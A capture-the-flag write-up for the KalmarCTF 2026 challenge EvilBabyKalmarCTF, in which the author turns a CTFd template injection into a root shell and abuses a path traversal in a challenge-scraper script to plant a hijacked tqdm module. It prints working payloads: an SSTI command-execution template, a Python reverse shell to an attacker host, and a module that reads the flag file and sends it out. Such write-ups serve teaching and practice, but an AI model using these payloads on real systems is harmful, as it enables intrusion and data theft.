Author: zerodaygym

KalmarCTF 2026 - EvilBabyKalmarCTF

created by kalmarunionen

Description:

Last year we had you play a CTF inside a CTF - but have you ever tried being the organiser for a CTF within a CTF? We heard that one of our players is using a CTFd scraper to automatically gather challenge information from our instances every 30 seconds to get the latest challenges as soon as they drop. Smart right?! Or was there a security reason that John Hammond made changes to it? The admin credentials for the CTFd instance are: admin:i_solemnly_swear_that_i_am_up_to_no_good. Note: this challenge contains two flags. One for the web challenge RootBabyKalmarCTF and one for the misc challenge EvilBabyKalmarCTF.

Flag: kalmar{EvilBabyKalmarCTF-wow_you_are_really_up_to_no_good_you_naughty_evil_wizard_ebba64eaaa986ffb}

Note:

This challenge is a second part of the RootBabyKalmarCTF challenge.

TL;DR of the previous challenge: we have a CTFd instance provided to us which is vulnerable to CVE-2026-30345 - path traversal in CTFd. After exploiting the path traversal we upload a malicious /opt/CTFd/CTFd/themes/core/templates/errors/404.html file with malicious SSTI payload. After accessing any non-existing path on the application we execute our SSTI payload which grants us the flag for the challenge.

Solution

After getting the SSTI from the previous challenge I changed the payload of the SSTI to be:

{{ config.os.popen(request.args.get('a')).read() }}

And now I can have a script which acts as a shell:

import requests
 
while True:
    arg = input("> ")
    r = requests.get(f"https://umwt1x52fbf95bhu76v6.d6.chal-kalmarc.tf/lkja?a={arg}")
    print(r.text, end='')

After running the shell script we can get a python reverse shell to the attacker’s server:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("MY_VPS_IP",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
[zerodaygym:/tmp/rev]$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 46.224.11.61 48590
# 

Stabilizing the shell:

# python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@47ee62d10e9d:/opt/CTFd# ^Z
[1]  + 3646206 suspended  nc -lnvp 9001
[zerodaygym:/tmp/rev]$ stty raw -echo;fg
[1]  + 3646206 continued  nc -lnvp 9001
                                       export TERM=xterm
root@47ee62d10e9d:/opt/CTFd# stty rows 35 cols 159
root@47ee62d10e9d:/opt/CTFd# 

The next part is very tricky. In the original challenge files we have another docker container present there which is the scraper. Let’s look at the source code of it:

FROM alpine:latest
 
# Setup
RUN apk add --no-cache python3 py3-pip wget git
ENV PYTHONUNBUFFERED=1
ENV PYTHONDONTWRITEBYTECODE=1
 
# FlaggyMcFlagface
COPY flag.txt /flag.txt
 
# Create the /app directory where we will download challenge files
WORKDIR /app
 
# https://github.com/JohnHammond/ctfd-download
RUN wget https://raw.githubusercontent.com/JohnHammond/ctfd-download/d0585767ddfa61920b982398f140f84e1ae2486f/download.py
RUN wget https://raw.githubusercontent.com/JohnHammond/ctfd-download/d0585767ddfa61920b982398f140f84e1ae2486f/requirements.txt
 
RUN pip3 install --break-system-packages -r requirements.txt
# RUN pip3 install --break-system-packages rich
 
RUN adduser -S scraper --shell /bin/sh
 
WORKDIR /tmp
# Run download.py as the scraper user
CMD ["sh", "-c", "cp /app/download.py /tmp/; chmod 444 /tmp/download.py; su scraper -c 'while true; do sleep 30; python3 /tmp/download.py -u http://ctfd:8000/challenges -o functf -n functf -c session=donthaveone; done'"]
# Most beautiful CMD you've ever seen

As we can see the docker container runs download.py script created by John Hammond. Reading the script all it does is dump the challenges from CTFd instances. Let’s take a deeper look at the script:

#!/usr/bin/python3
import requests
import json
import logging
import os
from urllib.parse import urljoin, urlparse
import re
from tqdm import tqdm
import argparse
import textwrap
import sys

The script imports these libraries which will come in handy for us later.

md_links = re.findall(r'!\[(.*)\]\(([^\s]+)\)', chal_data["description"])
            if len(md_links) > 0:
                for link_desc, link in md_links:
                    dl_url = urljoin(baseUrl, link)
                    F = S.get(dl_url, stream=True)
                    fname = urlparse(f_url).path.split("/")[-1]
                    if link[0] in ["/", "\\"]:
                        link = link[1:]
                    local_f_path = os.path.join(outputDir, link) # [1]

If we take a look at how challenge files are downloaded we don’t really see any path sanitization, this means that if we can import a challenge file like ../../../../../anything/here we can overwrite any file on the system. The problem is, what can we actually do here if our only ability is to overwrite files? The answer is python modules. Because the download script is being run every 30 seconds, we can create a malicious challenge file which then will be downloaded by our script every 30 seconds. Let’s target the module tqdm as it isn’t really important. If we download a malicious tqdm.py file to /tmp directory, the next time download.py will run, it will import and run our malicious tqdm.py file giving us command execution!

Let’s create a malicious tqdm.py file:

import requests
 
try:
    with open('/flag.txt', 'r') as f:
        flag = f.read().strip()
    requests.get(f"http://ctfd:8000/?flag={flag}")
except Exception as e:
    pass
 
# We provide a dummy tqdm class so the import "from tqdm import tqdm" doesn't error
class tqdm:
    def __init__(self, iterable=None, *args, **kwargs):
        self.iterable = iterable or []
 
    def __iter__(self):
        return iter(self.iterable)
 
    def update(self, *args, **kwargs):
        pass

We will save this malicious module on /tmp/evil_tqdm.py and it will be used later.

The next problem is actually serving the file correctly so the scraper bot downloads it with the path traversal. If we would try doing it in CTFd itself, we would fail as the filename gets sanitized after upload:

This means that we have to change the way server acts in general. I first looked at how CTFd handles all API requests and found that endpoints for challenges are defined in the /opt/CTFd/CTFd/api/v1/challenges.py file. Let’s now create a malicious challenges.py file to serve.

from flask_restx import Namespace, Resource
 
challenges_namespace = Namespace("challenges", description="Endpoint to retrieve Challenges")
 
@challenges_namespace.route("")
class ChallengeList(Resource):
    def get(self):
        return {
            "success": True,
            "data": [
                {
                    "id": 1,
                    "name": "Pwn",
                    "category": "misc",
                    "description": "Get the flag ![img](../../../../../../../../../../../../tmp/tqdm.py)",
                    "tags": [],
                    "files": [],
                    "type": "standard",
                    "value": 100,
                    "solves": 0,
                    "solved_by_me": False
                }
            ]
        }
 
@challenges_namespace.route("/<challenge_id>")
class Challenge(Resource):
    def get(self, challenge_id):
        challs = {
            "1": {
                "id": 1,
                "name": "Pwn",
                "category": "misc",
                "description": "Get the flag ![img](../../../../../../../../../../../tmp/tqdm.py)",
                "tags": [],
                "files": [],
                "type": "standard",
                "value": 100,
                "solves": 0,
                "solved_by_me": False
            }
        }
        return {"success": True, "data": challs.get(str(challenge_id), challs["1"])}

After that we can create a malicious entry in the /opt/CTFd/CTFd/views.py file for the /tmp/tqdm.py file.

@views.route("/tmp/tqdm.py")
def serve_evil():
    data = open("/tmp/evil_tqdm.py").read()
    from flask import Response
    return Response(data, mimetype="text/plain", headers={"Content-Length": str(len(data))})

Now let’s restart the initial challenge. Looking at the process list we can see that the PID of the challenge is just 1 and we can simply restart it with kill -HUP 1

root@47ee62d10e9d:/opt/CTFd/CTFd# ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
root           1       0  0 08:49 ?        00:00:00 /opt/venv/bin/python /opt/venv/bin/gunicorn CTFd:create_app() --bind 0.0.0.0:8000 --workers 1 --worker-tmp-
root           9       1  0 08:49 ?        00:00:04 /opt/venv/bin/python /opt/venv/bin/gunicorn CTFd:create_app() --bind 0.0.0.0:8000 --workers 1 --worker-tmp-
root          17       9  0 10:01 ?        00:00:00 /bin/sh -c python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.con'
root          18      17  0 10:01 ?        00:00:00 python3 -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("78.15"
root          19      18  0 10:01 pts/0    00:00:00 sh
root          21      19  0 10:02 pts/0    00:00:00 python3 -c import pty;pty.spawn("/bin/bash")
root          22      21  0 10:02 pts/1    00:00:00 /bin/bash
root         342      22  0 10:24 pts/1    00:00:00 ps -ef
root@47ee62d10e9d:/opt/CTFd/CTFd# kill -HUP 1

Now let’s wait 60 seconds while the scraper downloads our malicious file 2 times and… nothing. We don’t get a hit. I am not sure why, but when you create the routes on the webserver, one challenge must be without the path traversal and then the server will work. So let’s do that.

/opt/CTFd/CTFd/api/v1/challenges.py:

from flask_restx import Namespace, Resource
 
challenges_namespace = Namespace("challenges", description="Endpoint to retrieve Challenges")
 
@challenges_namespace.route("")
class ChallengeList(Resource):
    def get(self):
        return {
            "success": True,
            "data": [
                {
                    "id": 1,
                    "name": "Setup",
                    "category": "misc",
                    "description": "No images here",
                    "tags": [],
                    "files": ["/files/dummy.txt"],
                    "type": "standard",
                    "value": 50,
                    "solves": 0,
                    "solved_by_me": False
                },
                {
                    "id": 2,
                    "name": "Pwn",
                    "category": "misc",
                    "description": "flag ![img](../../../../tmp/tqdm.py)",
                    "tags": [],
                    "files": [],
                    "type": "standard",
                    "value": 100,
                    "solves": 0,
                    "solved_by_me": False
                }
            ]
        }
 
@challenges_namespace.route("/<challenge_id>")
class Challenge(Resource):
    def get(self, challenge_id):
        challs = {
            "1": {
                "id": 1,
                "name": "Setup",
                "category": "misc",
                "description": "No images here",
                "tags": [],
                "files": ["/files/dummy.txt"],
                "type": "standard",
                "value": 50,
                "solves": 0,
                "solved_by_me": False
            },
            "2": {
                "id": 2,
                "name": "Pwn",
                "category": "misc",
                "description": "flag ![img](../../../../tmp/tqdm.py)",
                "tags": [],
                "files": [],
                "type": "standard",
                "value": 100,
                "solves": 0,
                "solved_by_me": False
            }
        }
        return {"success": True, "data": challs.get(str(challenge_id), challs["1"])}

/opt/CTFd/CTFd/views.py:

# All previous content...
 
@views.route("/files/dummy.txt")
def serve_dummy():
    from flask import Response
    return Response("dummy", mimetype="text/plain", headers={"Content-Length": "5"})
 
@views.route("/tmp/tqdm.py")
def serve_evil():
    data = open("/tmp/evil_tqdm.py").read()
    from flask import Response
    return Response(data, mimetype="text/plain", headers={"Content-Length": str(len(data))})

Now we have everything in place and let’s restart the server once more:

kill -HUP 1

To monitor the output of the CTFd instance you can run:

cat /proc/1/fd/1 2>/dev/null

Let’s wait for the server to get our malicious challenges 2 times which will be 60 seconds and fingers crossed…

root@2b0816289334:/opt/CTFd# cat /proc/1/fd/1 2>/dev/null
10.99.2.84 - - [28/Mar/2026:12:47:17 +0000] "GET /?flag=kalmar%7BEvilBabyKalmarCTF-naughty_naughty_little_one,when_did_you_turn_evil?%7D HTTP/1.1" 200 14402 "-" "python-requests/2.27.1"
10.99.2.84 - - [28/Mar/2026:12:47:17 +0000] "GET /api/v1/challenges HTTP/1.1" 200 417 "-" "python-requests/2.27.1"
10.99.2.84 - - [28/Mar/2026:12:47:17 +0000] "GET /files/dummy.txt HTTP/1.1" 200 5 "-" "python-requests/2.27.1"

BOOM we got the flag. Although this challenge had many solves, I believe that most of them were AI work and manually solving this challenge required a lot of trial and error which took a lot of time and effort.